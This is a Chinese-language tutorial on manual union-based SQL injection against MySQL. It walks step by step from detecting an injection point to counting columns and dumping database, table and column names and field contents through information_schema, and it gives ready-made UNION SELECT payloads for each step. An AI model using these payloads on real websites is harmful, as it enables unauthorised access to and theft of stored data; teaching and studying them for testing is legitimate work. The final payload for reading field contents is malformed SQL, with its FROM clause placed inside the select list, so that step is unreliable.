sql注入 --显错注入

前提知识

数据库:就是将大量数据把保存起来,通过计算机加工而成的可以高效访问数据库的数据集合
数据库结构:
库:就是一堆表组成的数据集合
表:类似 Excel,由行和列组成的二维表
字段:表中的列称为字段
记录:表中的行称为记录
单元格:行和列相交的地方称为单元格
在数据库里有一个系统库:information_schema
在它里面有个存着所有库名的表:schemata schema_name 库名

在它里面有个存着所有表名的表:tables
表名 table_schema 表属于库 table_name  表名

在它里面还有个存着所有字段名的表:columns
table_schema 表属于库    table_name  表名      column_name 字段名


数据库结构中常用:table_schema库名 table_name表名 column_name字段名优先记忆

数据库中简单查询语句

select * from 表:从表里查询所有内容
where :有条件的从表中选取数据
and或or  :条件有点多时候从表中选取数据
order by :根据指定的结果集/指定的列进行排序
limit 0,1 :从第一行起显示一条记录
union select :将多个表拼在一起

sql注入

攻击者通过构造不同的SQL语句来实现对数据库的操作。

任何与数据库产生交互的地方都可能存在sql注入

sql显错注入-联合查询(Mysql数据库)的基本流程及常用语句

sql注入 --显错注入

 sql手注的一般流程
一、判断注入点

如为整数型注入

id=1‘ 后面加上‘单引号,页面出错

id=1 and 1=1

id=1 and 1=2 时页面不同判断存在注入
二、判断字段数

常用order by 判断字段数

order by :ORDER BY 语句用于根据指定的列对结果集进行排序。
如:

id=1 order by 3 页面正常
id=1 order by 4 页面错误

则字段数为3

三、判断回显点

使用联合查询

id =1 and 1=2 union select 1,2,3 前面为假是会查询后面的语句,从而可获得回显点


四、查询相关内容

查询数据库版本
and 1=2 union select 1,version(),3
查询数据库库名

and 1=2 union select 1,database(),3

猜询表名
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘库名‘

查询字段名
and 1=2 union select 1,group_concat(column_name),3from information_schema.columns where table_schema=database() and table_name=‘表名‘

查询字段内容
and 1=2 union select 1,字段名 from 表名,3

若为单引号或双引号注入

考虑拼接为正常字符串进行逃逸

如;

id=1‘ union select 1,字段名 from 表名,3 -- +

后方为--+或-- a 或# 在很多数据库中杠杠加为注释符,在mysql中#为注释符,推荐常用--+

相关推荐